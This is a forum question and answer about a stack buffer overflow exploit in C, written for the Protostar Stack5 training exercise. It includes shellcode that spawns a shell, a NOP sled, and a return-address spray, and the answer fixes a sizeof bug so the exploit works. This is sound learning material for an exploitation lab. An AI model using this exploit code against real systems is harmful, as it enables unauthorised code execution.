I was trying to reproduce the first buffer overflow exploit in C written inside the Hacking art of exploitation book. I tried it on the Stack5 exercise in Protostar vm but it didn't work. Of course I adapted it, but I'm still a newbie so I don't know what I should fix. This is the code of the exploit:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char *shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";
int main(int argc, char *argv[])
{
unsigned int i, ret, offset = 0;
char *command, *buffer;
command = (char *)malloc(200);
bzero(command, 200);
strcpy(command, "echo \'");
buffer = command + strlen(command);
if (argc > 1)
{
offset = atoi(argv[1]);
}
ret = (unsigned int)&i - offset;
printf("The choosed offset is %d\n", offset);
for (i = 0; i < 200; i += 4)
{
*((unsigned int *)(buffer + i)) = ret;
}
memset(buffer, 0x90, 26);
memcpy(buffer + 26, shellcode, sizeof(shellcode) - 1);
strcat(command, "\' | /opt/protostar/bin/stack5");
printf("The command is %s\n", command);
printf("The buffer is %x\n", buffer);
system(command);
return 0;
}
Before this I tried out the shellcode and it worked, so that's not the problem.
So the first thing that I did was fire up gdb and debug my code.
This is my command
variable after the bzero function is called:
This is my command
variable after the for loop for setting the return variable (I know that the address it's not correct but I will fix that later):
This is my command
variable after putting the nop sled (so far everything normal):
This is my command
variable after putting the shellcode (here I can't find the error...):
I don't know why the shellcode doesn't appear inside the command
variable it didn't change anything except for some bytes after the NOP sled.
What do I do wrong?
What do I do wrong?
char *shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";
…
memcpy(buffer + 26, shellcode, sizeof(shellcode) - 1);
It's just that you defined shellcode
as a pointer, the size of which is 4 bytes on your system, so only 3 bytes are copied; the correct size results if you define an array instead:
char shellcode[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";